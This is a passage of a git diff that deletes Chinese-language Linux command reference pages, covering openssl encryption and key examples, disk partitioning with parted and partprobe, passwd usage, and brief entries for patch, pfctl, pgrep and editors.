# openssl base64 -in ciphertext.bin -out base64.txt
-
-

用RC5算法的CBC模式加密文件plaintext.doc,输出到文件ciphertext.bin,salt、key和初始化向量(iv)在命令行指定。

-
# openssl rc5 -in plaintext.doc -out ciphertext.bin -S C62CB1D49F158ADC -iv E9EDACA1BD7090C6 -K 89D4B1678D604FAA3DBFFD030A314B29
-
-

4、Diffie-Hellman应用例子

-

使用生成因子2和随机的1024-bit的素数产生D0ffie-Hellman参数,输出保存到文件dhparam.pem

-
# openssl dhparam -out dhparam.pem -2 1024
-
-

从dhparam.pem中读取Diffie-Hell参数,以C代码的形式,输出到stdout。

-
# openssl dhparam -in dhparam.pem -noout -C
-
-

5、DSA应用例子应用例子

-

生成1024位DSA参数集,并输出到文件dsaparam.pem。

-
# openssl dsaparam -out dsaparam.pem 1024
-
-

使用参数文件dsaparam.pem生成DSA私钥匙,采用3DES加密后输出到文件dsaprivatekey.pem

-
# openssl gendsa -out dsaprivatekey.pem -des3 dsaparam.pem
-
-

使用私钥匙dsaprivatekey.pem生成公钥匙,输出到dsapublickey.pem

-
# openssl dsa -in dsaprivatekey.pem -pubout -out dsapublickey.pem
-
-

从dsaprivatekey.pem中读取私钥匙,解密并输入新口令进行加密,然后写回文件dsaprivatekey.pem

-
# openssl dsa -in dsaprivatekey.pem -out dsaprivatekey.pem -des3 -passin
-
-

6、RSA应用例子

-

产生1024位RSA私匙,用3DES加密它,口令为trousers,输出到文件rsaprivatekey.pem

-
# openssl genrsa -out rsaprivatekey.pem -passout pass:trousers -des3 1024
-
-

从文件rsaprivatekey.pem读取私匙,用口令trousers解密,生成的公钥匙输出到文件rsapublickey.pem

-
# openssl rsa -in rsaprivatekey.pem -passin pass:trousers -pubout -out rsapubckey.pem
-
-

用公钥匙rsapublickey.pem加密文件plain.txt,输出到文件cipher.txt

-
# openssl rsautl -encrypt -pubin -inkey rsapublickey.pem -in plain.txt -out cipher.txt
-
-

使用私钥匙rsaprivatekey.pem解密密文cipher.txt,输出到文件plain.txt

-
# openssl rsautl -decrypt -inkey rsaprivatekey.pem -in cipher.txt -out plain.txt
-
-

用私钥匙rsaprivatekey.pem给文件plain.txt签名,输出到文件signature.bin

-
# openssl rsautl -sign -inkey rsaprivatekey.pem -in plain.txt -out signature.bin
-
-

用公钥匙rsapublickey.pem验证签名signature.bin,输出到文件plain.txt

-
# openssl rsautl -verify -pubin -inkey rsapublickey.pem -in signature.bin -out plain
-
-

从X.509证书文件cert.pem中获取公钥匙,用3DES加密mail.txt,输出到文件mail.enc

-
# openssl smime -encrypt -in mail.txt -des3 -out mail.enc cert.pem
-
-

从X.509证书文件cert.pem中获取接收人的公钥匙,用私钥匙key.pem解密S/MIME消息mail.enc,结果输出到文件mail.txt

-
# openssl smime -decrypt -in mail.enc -recip cert.pem -inkey key.pem -out mail.txt
-
-

cert.pem为X.509证书文件,用私匙key,pem为mail.txt签名,证书被包含在S/MIME消息中,输出到文件mail.sgn

-
# openssl smime -sign -in mail.txt -signer cert.pem -inkey key.pem -out mail.sgn
-
-

验证S/MIME消息mail.sgn,输出到文件mail.txt,签名者的证书应该作为S/MIME消息的一部分包含在mail.sgn中

-
# openssl smime -verify -in mail.sgn -out mail.txt
-
-

更多实例:

-
openssl version -a
-openssl help
-openssl genrsa -aes128 -out fd.key 2048 # pem format
-openssl rsa -text -in fd.key
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/parted.html b/linux-command.docset/Contents/Resources/Documents/c/parted.html deleted file mode 100644 index 30ed6e89cd..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/parted.html +++ /dev/null @@ -1,179 +0,0 @@ - - - - - - - - - - - parted 命令,Linux parted 命令详解:磁盘分区和分区大小调整工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

parted

-

磁盘分区和分区大小调整工具

-

补充说明

-

parted命令 是由GNU组织开发的一款功能强大的磁盘分区和分区大小调整工具,与fdisk不同,它支持调整分区的大小。作为一种设计用于Linux的工具,它没有构建成处理与fdisk关联的多种分区类型,但是,它可以处理最常见的分区格式,包括:ext2、ext3、fat16、fat32、NTFS、ReiserFS、JFS、XFS、UFS、HFS以及Linux交换分区。

-

语法

-
parted(选项)(参数)
-
-

选项

-
-h:显示帮助信息;
--i:交互式模式;
--s:脚本模式,不提示用户;
--v:显示版本号。
-
-

参数

-
    -
  • 设备:指定要分区的硬盘所对应的设备文件;
  • -
  • 命令:要执行的parted命令。
  • -
-

实例

-

从串行技术出现以来,越来越多用户选择使用大容量的SATA硬盘创建磁盘阵列;特别是MD1000/MD3000,很轻易就突破2T的LUN,故在此给大家一些指引。

-

红帽企业 Linux 4 Update 4供对大于 2 terabytes(TB)的磁盘设备的支持。

-

请参考以下操作步骤:

-

注:

-
    -
  • 绿色代表你需要使用的命令。
  • -
  • 红色代表你需要注意到的输出信息,在后续需要使用。
  • -
-
[root@localhost ~]# fdisk -l
-Disk /dev/sda: 35.8 GB, 35862976512 bytes
-255 heads, 63 sectors/track, 4360 cylinders
-Units = cylinders of 16065 * 512 = 8225280 bytes
-   Device Boot      Start         End      Blocks   id  System
-/dev/sda1   *           1          13      104391   83  Linux
-/dev/sda2              14         144     1052257+  82  Linux swap
-/dev/sda3             145        4360    33865020   83  Linux
-Disk /dev/sdb: 2147 MB, 2147483648 bytes
-255 heads, 63 sectors/track, 261 cylinders
-Units = cylinders of 16065 * 512 = 8225280 bytes
-Disk /dev/sdb doesn't contain a valid partition table
-
-
[root@localhost ~]# parted /dev/sdb
-GNU Parted Copyright (C) 1998 - 2004 free Software Foundation, Inc.
-This program is free software, covered by the GNU General Public License.
-This program is distributed in the hope that it will be useful, but WITHOUT ANY
-WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
-PARTICULAR PURPOSE.  See the GNU General Public License for more details.
-使用/dev/sdb
-(parted)mklabel gpt
-(parted)print
-/dev/sdb的磁盘几何结构:0.000-2048.000兆字节
-磁盘标签类型:gpt
-Minor   起始点       终止点 文件系统   名称                 标志
-(parted)mkpart primary 0 2048  <-----上面print显示的数字
-(parted)print
-/dev/sdb的磁盘几何结构:0.000-2048.000兆字节
-磁盘标签类型:gpt
-Minor   起始点       终止点 文件系统   名称                 标志
-1          0.017   2047.983
-(parted)quit
-
-

如果必要,不要忘记更新/etc/fstab

-
[root@localhost ~]# fdisk -l
-Disk /dev/sda: 35.8 GB, 35862976512 bytes
-255 heads, 63 sectors/track, 4360 cylinders
-Units = cylinders of 16065 * 512 = 8225280 bytes
-   Device Boot      Start         End      Blocks   Id  System
-/dev/sda1   *           1          13      104391   83  Linux
-/dev/sda2              14         144     1052257+  82  Linux swap
-/dev/sda3             145        4360    33865020   83  Linux
-WARNING: GPT (GUID Partition Table) detected on '/dev/sdb'! The util fdisk doesn't support GPT. Use GNU Parted.
-
-Disk /dev/sdb: 2147 MB, 2147483648 bytes
-255 heads, 63 sectors/track, 261 cylinders
-Units = cylinders of 16065 * 512 = 8225280 bytes
-   Device Boot      Start         End      Blocks   Id  System
-/dev/sdb1               1         262     2097151+  ee  EFI GPT
-Partition 1 has different physical/logical beginnings (non-Linux?):
-     phys=(0, 0, 1) logical=(0,0, 2)
-Partition 1 has different physical/logical endings:
-     phys=(1023, 254, 63) logical=(261, 21, 16)
-
-
[root@localhost ~]# mkfs.ext3 /dev/sdb1
-mke2fs 1.35 (28-Feb-2004)
-Filesystem label=
-OS type: Linux
-Block size=4096 (log=2)
-Fragment size=4096 (log=2)
-262144 inodes, 524279 blocks
-26213 blocks (5.00%) reserved for the super user
-First data block=0
-Maximum filesystem blocks=536870912
-16 block groups
-32768 blocks per group, 32768 fragments per group
-16384 inodes per group
-Superblock backups stored on blocks:
-        32768, 98304, 163840, 229376, 294912
-Writing inode tables: done
-Creating journal (8192 blocks): done
-Writing superblocks and filesystem accounting information: done
-This filesystem will be automatically checked every 28 mounts or
-180 days, whichever comes first.  Use tune2fs -c or -i to override.
-
-
[root@localhost ~]# mount /dev/sdb1 /mnt
-[root@localhost ~]# df -h
-Filesystem            容量  已用 可用 已用% 挂载点
-/dev/sda3              <?xml:namespace prefix = st1 />32G  2.6G   28G   9% /
-/dev/sda1              99M   12M   82M  13% /boot
-none                  252M     0  252M   0% /dev/shm
-/dev/sdb1             2.0G   36M  1.9G   2% /mnt
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/partprobe.html b/linux-command.docset/Contents/Resources/Documents/c/partprobe.html deleted file mode 100644 index cd0357c17f..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/partprobe.html +++ /dev/null @@ -1,190 +0,0 @@ - - - - - - - - - - - partprobe 命令,Linux partprobe 命令详解:不重启的情况下重读分区 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

partprobe

-

不重启的情况下重读分区

-

补充说明

-

partprobe命令 用于重读分区表,当出现删除文件后,出现仍然占用空间。可以partprobe在不重启的情况下重读分区。

-

语法

-
partprobe(选项)(参数)
-
-

选项

-
-d:不更新内核;
--s:显示摘要和分区;
--h:显示帮助信息;
--v:显示版本信息。
-
-

参数

-

设备:指定需要确认分区表改变的硬盘对应的设备文件。

-

实例

-

使用partprobe不重启系统添加新的磁盘分区,主机自带硬盘超过300GB,目前只划分使用了3个主分区,不到70GB,如下:

-
[root@localhost ~]# df -h 
-Filesystem Size Used Avail Use% Mounted on 
-/dev/sda1 29G 3.7G  24G 14% / 
-/dev/sda2 29G  22G 5.2G 81% /oracle 
-tmpfs    2.0G    0 2.0G  0% /dev/shm
-
-
[root@localhost ~]# cat /proc/partitions
-major minor  #blocks  name
-
-   8     0  311427072 sda
-   8     1   30716248 sda1
-   8     2   30716280 sda2
-   8     3    8193150 sda3
-   8    16     976896 sdb
-   8    32     976896 sdc
-
-…省略其他
-
-

现在需要给系统添加1个100GB的空间存放数据文件,而又不影响现有系统上业务的运行,使用fdisk结合partprobe命令不重启系统添加一块新的磁盘分区。操作步骤如下:

-

第1步 添加新的磁盘分区

-
[root@localhost ~]# fdisk /dev/sda
-The number of cylinders for this disk is set to 38770.
-There is nothing wrong with that, but this is larger than 1024,
-and could in certain setups cause problems with:
-1) software that runs at boot time (e.g., old versions of lilo)
-2) booting and partitioning software from other OSs
-   (e.g., DOS FDISK, OS/2 FDISK)
-
-command (m for help): p
-
-Disk /dev/sda: 318.9 GB, 318901321728 bytes
-255 heads, 63 sectors/track, 38770 cylinders
-Units = cylinders of 16065 * 512 = 8225280 bytes
-
-   Device Boot      Start         End      Blocks   id  System
-/dev/sda1   *           1        3824    30716248+  83  Linux
-/dev/sda2            3825        7648    30716280   83  Linux
-/dev/sda3            7649        8668     8193150   82  Linux swap / Solaris
-
-Command (m for help): n
-Command action
-   e   extended
-   p   primary partition (1-4)
-p
-Selected partition 4
-First cylinder (8669-38770, default 8669):
-Using default value 8669
-last cylinder or +size or +sizeM or +sizeK (8669-38770, default 38770): +100G   
-Command (m for help): w
-The partition table has been altered!
-
-Calling ioctl() to re-read partition table.
-
-WARNING: Re-reading the partition table failed with error 16: 
-
-Device or resource busy.
-The kernel still uses the old table.
-The new table will be used at the next reboot.
-Syncing disks.
-
-

第2步 使用工具partprobe让kernel读取分区信息:

-
[root@localhost ~]# partprobe
-
-

使用fdisk工具只是将分区信息写到磁盘,如果需要mkfs磁盘分区则需要重启系统,而使用partprobe则可以使kernel重新读取分区信息,从而避免重启系统。

-

第3步 格式化文件系统:

-
[root@localhost ~]# mkfs.ext3 /dev/sda4
-mke2fs 1.39 (29-May-2006)
-Filesystem label=
-OS type: Linux
-Block size=4096 (log=2)
-Fragment size=4096 (log=2)
-12222464 inodes, 24416791 blocks
-1220839 blocks (5.00%) reserved for the super user
-First data block=0
-Maximum filesystem blocks=4294967296
-746 block groups
-32768 blocks per group, 32768 fragments per group
-16384 inodes per group
-Superblock backups stored on blocks:
-        32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 
-    2654208, 4096000, 7962624, 11239424, 20480000, 23887872
-
-Writing inode tables: done
-Creating journal (32768 blocks): done
-Writing superblocks and filesystem accounting information:
-
-done
-
-This filesystem will be automatically checked every 26 mounts or
-180 days, whichever comes first.  Use tune2fs -c or -i to override.
-[root@localhost ~]#
-
-

第4步 mount新的分区/dev/sda4

-
[root@localhost ~]# e2label  /dev/sda4 /data
-[root@localhost ~]# mkdir /data
-[root@localhost ~]# mount /dev/sda4 /data
-[root@localhost ~]# df
-Filesystem           1K-blocks      Used Available Use% Mounted on
-/dev/sda1             29753556   3810844  24406900  14% /
-/dev/sda2             29753588  11304616  16913160  41% /oracle
-tmpfs                  2023936         0   2023936   0% /dev/shm
-/dev/sda4             96132968    192312  91057300   1% /data
-
-

使用partprobe可以不用重启系统即可配合fdisk工具创建新的分区。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/passwd.html b/linux-command.docset/Contents/Resources/Documents/c/passwd.html deleted file mode 100644 index cc1dcec364..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/passwd.html +++ /dev/null @@ -1,154 +0,0 @@ - - - - - - - - - - - passwd 命令,Linux passwd 命令详解:用于让用户可以更改自己的密码 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

passwd

-

用于让用户可以更改自己的密码

-

补充说明

-

passwd命令 用于设置用户的认证信息,包括用户密码、密码过期时间等。系统管理者则能用它管理系统用户的密码。只有管理者可以指定用户名称,一般用户只能变更自己的密码。

-

语法

-
passwd(选项)(参数)
-
-

选项

-
-d:删除密码,仅有系统管理者才能使用;
--f:强制执行;
--k:设置只有在密码过期失效后,方能更新;
--l:锁住密码;
--s:列出密码的相关信息,仅有系统管理者才能使用;
--u:解开已上锁的帐号。
-
-

参数

-

用户名:需要设置密码的用户名。

-

知识扩展

-

与用户、组账户信息相关的文件

-

存放用户信息:

-
/etc/passwd
-/etc/shadow
-
-

存放组信息:

-
/etc/group
-/etc/gshadow
-
-

用户信息文件分析(每项用:隔开)

-
例如:jack:X:503:504:::/home/jack/:/bin/bash
-jack  # 用户名
-X  # 口令、密码
-503  # 用户id(0代表root、普通新建用户从500开始)
-504  # 所在组
-:  # 描述
-/home/jack/  # 用户主目录
-/bin/bash  # 用户缺省Shell
-
-

组信息文件分析

-
例如:jack:$!$:???:13801:0:99999:7:*:*:
-jack  # 组名
-$!$  # 被加密的口令
-13801  # 创建日期与今天相隔的天数
-0  # 口令最短位数
-99999  # 用户口令
-7  # 到7天时提醒
-*  # 禁用天数
-*  # 过期天数
-
-

实例

-

如果是普通用户执行passwd只能修改自己的密码。如果新建用户后,要为新用户创建密码,则用passwd用户名,注意要以root用户的权限来创建。

-
[root@localhost ~]# passwd linuxde     # 更改或创建linuxde用户的密码;
-Changing password for user linuxde.
-New UNIX password:           # 请输入新密码;
-Retype new UNIX password:    # 再输入一次;
-passwd: all authentication tokens updated successfully.  # 成功;
-
-

普通用户如果想更改自己的密码,直接运行passwd即可,比如当前操作的用户是linuxde。

-
[linuxde@localhost ~]$ passwd
-Changing password for user linuxde.  # 更改linuxde用户的密码;
-(current) UNIX password:    # 请输入当前密码;
-New UNIX password:          # 请输入新密码;
-Retype new UNIX password:   # 确认新密码;
-passwd: all authentication tokens updated successfully.  # 更改成功;
-
-

比如我们让某个用户不能修改密码,可以用-l选项来锁定:

-
[root@localhost ~]# passwd -l linuxde     # 锁定用户linuxde不能更改密码;
-Locking password for user linuxde.
-passwd: Success            # 锁定成功;
-
-[linuxde@localhost ~]# su linuxde    # 通过su切换到linuxde用户;
-[linuxde@localhost ~]$ passwd       # linuxde来更改密码;
-Changing password for user linuxde.
-Changing password for linuxde
-(current) UNIX password:           # 输入linuxde的当前密码;
-passwd: Authentication token manipulation error      # 失败,不能更改密码;
-
-

再来一例:

-
[root@localhost ~]# passwd -d linuxde   # 清除linuxde用户密码;
-Removing password for user linuxde.
-passwd: Success                          # 清除成功;
-
-[root@localhost ~]# passwd -S linuxde     # 查询linuxde用户密码状态;
-Empty password.                          # 空密码,也就是没有密码;
-
-

注意:当我们清除一个用户的密码时,登录时就无需密码,这一点要加以注意。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/paste.html b/linux-command.docset/Contents/Resources/Documents/c/paste.html deleted file mode 100644 index af8499e4d2..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/paste.html +++ /dev/null @@ -1,82 +0,0 @@ - - - - - - - - - - - paste 命令,Linux paste 命令详解:将多个文件按列队列合并 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

paste

-

将多个文件按列队列合并

-

补充说明

-

paste命令 用于将多个文件按照列队列进行合并。

-

语法

-
paste(选项)(参数)
-
-

选项

-
-d<间隔字符>或--delimiters=<间隔字符>:用指定的间隔字符取代跳格字符;
--s或——serial串列进行而非平行处理。
-
-

参数

-

文件列表:指定需要合并的文件列表。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/patch.html b/linux-command.docset/Contents/Resources/Documents/c/patch.html deleted file mode 100644 index 1389821224..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/patch.html +++ /dev/null @@ -1,115 +0,0 @@ - - - - - - - - - - - patch 命令,Linux patch 命令详解:为开放源代码软件安装补丁程序 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

patch

-

为开放源代码软件安装补丁程序

-

补充说明

-

patch命令 被用于为开放源代码软件安装补丁程序。让用户利用设置修补文件的方式,修改,更新原始文件。如果一次仅修改一个文件,可直接在命令列中下达指令依序执行。如果配合修补文件的方式则能一次修补大批文件,这也是Linux系统核心的升级方法之一。

-

语法

-
patch(选项)(参数)
-
-

选项

-
-b或--backup:备份每一个原始文件;
--B<备份字首字符串>或--prefix=<备份字首字符串>:设置文件备份时,附加在文件名称前面的字首字符串,该字符串可以是路径名称;
--c或--context:把修补数据解译成关联性的差异;
--d<工作目录>或--directory=<工作目录>:设置工作目录;
--D<标示符号>或--ifdef=<标示符号>:用指定的符号把改变的地方标示出来;
--e或--ed:把修补数据解译成ed指令可用的叙述文件;
--E或--remove-empty-files:若修补过后输出的文件其内容是一片空白,则移除该文件;
--f或--force:此参数的效果和指定"-t"参数类似,但会假设修补数据的版本为新版本;
--F<监别列数>或--fuzz<监别列数>:设置监别列数的最大值;
--g<控制数值>或--get=<控制数值>:设置以RSC或SCCS控制修补作业;
--i<修补文件>或--input=<修补文件>:读取指定的修补问家你;
--l或--ignore-whitespace:忽略修补数据与输入数据的跳格,空格字符;
--n或--normal:把修补数据解译成一般性的差异;
--N或--forward:忽略修补的数据较原始文件的版本更旧,或该版本的修补数据已使 用过;
--o<输出文件>或--output=<输出文件>:设置输出文件的名称,修补过的文件会以该名称存放;
--p<剥离层级>或--strip=<剥离层级>:设置欲剥离几层路径名称;
--f<拒绝文件>或--reject-file=<拒绝文件>:设置保存拒绝修补相关信息的文件名称,预设的文件名称为.rej;
--R或--reverse:假设修补数据是由新旧文件交换位置而产生;
--s或--quiet或--silent:不显示指令执行过程,除非发生错误;
--t或--batch:自动略过错误,不询问任何问题;
--T或--set-time:此参数的效果和指定"-Z"参数类似,但以本地时间为主;
--u或--unified:把修补数据解译成一致化的差异;
--v或--version:显示版本信息;
--V<备份方式>或--version-control=<备份方式>:用"-b"参数备份目标文件后,备份文件的字尾会被加上一个备份字符串,这个字符串不仅可用"-z"参数变更,当使用"-V"参数指定不同备份方式时,也会产生不同字尾的备份字符串;
--Y<备份字首字符串>或--basename-prefix=--<备份字首字符串>:设置文件备份时,附加在文件基本名称开头的字首字符串;
--z<备份字尾字符串>或--suffix=<备份字尾字符串>:此参数的效果和指定"-B"参数类似,差别在于修补作业使用的路径与文件名若为src/linux/fs/super.c,加上"backup/"字符串后,文件super.c会备份于/src/linux/fs/backup目录里;
--Z或--set-utc:把修补过的文件更改,存取时间设为UTC;
---backup-if-mismatch:在修补数据不完全吻合,且没有刻意指定要备份文件时,才备份文件;
---binary:以二进制模式读写数据,而不通过标准输出设备;
---help:在线帮助;
---nobackup-if-mismatch:在修补数据不完全吻合,且没有刻意指定要备份文件时,不要备份文件;
---verbose:详细显示指令的执行过程。
-
-

参数

-
    -
  • 原文件:指定需要打补丁的原始文件;
  • -
  • 补丁文件:指定补丁文件。
  • -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/pathchk.html b/linux-command.docset/Contents/Resources/Documents/c/pathchk.html deleted file mode 100644 index 14104a74ab..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/pathchk.html +++ /dev/null @@ -1,88 +0,0 @@ - - - - - - - - - - - pathchk 命令,Linux pathchk 命令详解:检查文件中不可移植的部分 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

pathchk

-

检查文件中不可移植的部分

-

补充说明

-

pathchk命令 用来检查文件中不可移植的部分。

-

语法

-
pathchk(选项)(参数)
-
-

选项

-
-p:检查大多数的POSIX系统;
--P:检查空名字和“-”开头的文件;
---portability:检查所有的POSIX系统,等同于“-P-p”选项;
---help:显示帮助;
---wersion:显示版本号。
-
-

参数

-
    -
  • 文件:带路径信息的文件;
  • -
  • 后缀:可选参数,指定要去除的文件后缀字符串。
  • -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/perl.html b/linux-command.docset/Contents/Resources/Documents/c/perl.html deleted file mode 100644 index 4c15bacdaa..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/perl.html +++ /dev/null @@ -1,84 +0,0 @@ - - - - - - - - - - - perl 命令,Linux perl 命令详解:perl语言解释器 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

perl

-

perl语言解释器

-

补充说明

-

perl命令 是perl语言解释器,负责解释执行perl语言程序。

-

语法

-
perl(选项)(参数)
-
-

选项

-
-w:输出有用的警告信息;
--U:允许不安全的操作;
--c:仅检查文件的语法;
--d:在调试下运行脚本程序。
-
-

参数

-

文件:要运行的perl脚本程序。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/pfctl.html b/linux-command.docset/Contents/Resources/Documents/c/pfctl.html deleted file mode 100644 index 9b53cb3c0f..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/pfctl.html +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - - - - - - pfctl 命令,Linux pfctl 命令详解:PF防火墙的配置命令 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

pfctl

-

PF防火墙的配置命令

-

补充说明

-

pfctl命令 是PF防火墙的配置命令,PF防火墙( 全称:Packet Filter )是UNIX LIKE系统上进行TCP/ip流量过滤和网络地址转换的软件系统。PF同样也能提供TCP/IP流量的整形和控制,并且提供带宽控制和数据包优先集控制。PF最早是由Daniel Hartmeier开发的,现在的开发和维护由Daniel和openBSD小组的其他成员负责。

-

PF防火墙的功能很多,本站只列举一些基本配置。

-

激活

-

要激活pf并且使它在启动时调用配置文件,编辑/etc/rc.conf文件,修改配置pf的一行:

-
pf=yes
-
-

重启操作系统让配置生效。

-

也可以通过pfctl程序启动和停止pf:

-
pfctl -e
-pfctl -d
-
-

注意这仅仅是启动和关闭PF,实际它不会载入规则集,规则集要么在系统启动时载入,要在PF启动后通过命令单独载入。

-

配置

-

系统引导到在rc脚本文件运行PF时PF从/etc/pf.conf文件载入配置规则。注意当/etc/pf.conf文件是默认配置文件,在系统调用rc脚本文件时,它仅仅是作为文本文件由pfctl装入并解释和插入pf的。对于一些应用来说,其他的规则集可以在系统引导后由其他文件载入。对于一些设计的非常好的unix程序,PF提供了足够的灵活性。

-

pf.conf文件有7个部分:

-
    -
  1. 宏:用户定义的变量,包括IP地址,接口名称等等。
  2. -
  3. 表:一种用来保存IP地址列表的结构。
  4. -
  5. 选项:控制PF如何工作的变量。
  6. -
  7. 整形:重新处理数据包,进行正常化和碎片整理。
  8. -
  9. 排队:提供带宽控制和数据包优先级控制。
  10. -
  11. 转换:控制网络地址转换和数据包重定向。
  12. -
  13. 过滤规则:在数据包通过接口时允许进行选择性的过滤和阻止。
  14. -
-

除去宏和表,其他的段在配置文件中也应该按照这个顺序出现,尽管对于一些特定的应用并不是所有的段都是必须的。

-

空行会被忽略,以#开头的行被认为是注释。

-

控制

-

引导之后,PF可以通过pfctl程序进行操作,以下是一些例子:

-
pfctl -f /etc/pf.conf  # 载入 pf.conf 文件
-pfctl -nf /etc/pf.conf # 解析文件,但不载入
-pfctl -Nf /etc/pf.conf # 只载入文件中的NAT规则
-pfctl -Rf /etc/pf.conf # 只载入文件中的过滤规则
-pfctl -sn # 显示当前的NAT规则
-pfctl -sr # 显示当前的过滤规则
-pfctl -ss # 显示当前的状态表
-pfctl -si # 显示过滤状态和计数
-pfctl -sa # 显示任何可显示的
-
-

完整的命令列表,请参阅pfctl的man手册页。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/pgrep.html b/linux-command.docset/Contents/Resources/Documents/c/pgrep.html deleted file mode 100644 index 16f3e7bed1..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/pgrep.html +++ /dev/null @@ -1,112 +0,0 @@ - - - - - - - - - - - pgrep 命令,Linux pgrep 命令详解:根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID(PID) - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

pgrep

-

根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID(PID)

-

补充说明

-

pgrep命令 以名称为依据从运行进程队列中查找进程,并显示查找到的进程id。每一个进程ID以一个十进制数表示,通过一个分割字符串和下一个ID分开,默认的分割字符串是一个新行。对于每个属性选项,用户可以在命令行上指定一个以逗号分割的可能值的集合。

-

语法

-
pgrep(选项)(参数)
-
-

选项

-
-o:仅显示找到的最小(起始)进程号;
--n:仅显示找到的最大(结束)进程号;
--l:显示进程名称;
--P:指定父进程号;
--g:指定进程组;
--t:指定开启进程的终端;
--u:指定进程的有效用户ID。
-
-

参数

-

进程名称:指定要查找的进程名称,同时也支持类似grep指令中的匹配模式。

-

实例

-
pgrep -lo httpd
-4557 httpd
- [root@localhost ~]# pgrep -ln httpd
-4566 httpd
-
-[root@localhost ~]# pgrep -l httpd
-4557 httpd
-4560 httpd
-4561 httpd
-4562 httpd
-4563 httpd
-4564 httpd
-4565 httpd
-4566 httpd
-
-[root@localhost ~]# pgrep httpd 4557
-4560
-4561
-4562
-4563
-4564
-4565
-4566
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/php.html b/linux-command.docset/Contents/Resources/Documents/c/php.html deleted file mode 100644 index bbc574176e..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/php.html +++ /dev/null @@ -1,82 +0,0 @@ - - - - - - - - - - - php 命令,Linux php 命令详解:PHP语言的命令行接口 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

php

-

PHP语言的命令行接口

-

补充说明

-

php命令 是流行的Web开发语言PHP的命令行接口,可以使用PHP语言开发基于命令行的系统管理脚本程序。

-

语法

-
php(选项)(参数)
-
-

选项

-
-a:进入交互模式;
--c:指定“php.ini”的搜索路径。
-
-

参数

-

文件:要执行的php脚本。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/pico.html b/linux-command.docset/Contents/Resources/Documents/c/pico.html deleted file mode 100644 index 0e7fd6920e..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/pico.html +++ /dev/null @@ -1,113 +0,0 @@ - - - - - - - - - - - pico 命令,Linux pico 命令详解:功能强大全屏幕的文本编辑器 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

pico

-

功能强大全屏幕的文本编辑器

-

补充说明

-

pico命令 是功能强大全屏幕的文本编辑器。pico的操作简单,提供了丰富的快捷键。常用的快捷键如下:

-
Ctrl+G:获得pico的帮助信息;
-Ctrl+O:保存文件内容,如果是新文件,需要输入文件名;
-Ctrl+R:在当前光标位置插入一个指定的文本文件内容;
-Ctrl+Y:向前翻页;
-Ctrl+V:向后翻页;
-Ctrl+w:对文件进行搜索;
-Ctrl+K:剪切当前文件行到粘贴缓冲区;
-Ctrl+U:粘贴缓冲区中的内容到当前光标所在位置;
-Ctrl+C:显示当前光标位置;
-Ctrl+T:调用拼写检查功能,对文档进行拼写检查;
-Ctrl+J:段落重排;
-Ctrl+X:退出,当文件内容发生改变时,提供是否保存修改。
-
-

语法

-
pico(选项)(参数)
-
-

选项

-
-b:开启置换的功能;
--d:开启删除的功能;
--e:使用完整的文件名称;
--f:支持键盘上F1、F2...功能键;
--g:显示光标;
--h:在线帮助;
--j:开启切换的功能;
--k:预设pico在使用剪下命令时,会把光标所在的列的内容全部删除;
--m:开启鼠标支持的功能,您可用鼠标点选命令列表;
--n<间隔秒数>:设置多久检查一次新邮件;
--o<工作目录>:设置工作目录;
--q:忽略预设值;
--r<编辑页宽>:设置编辑文件的页宽;
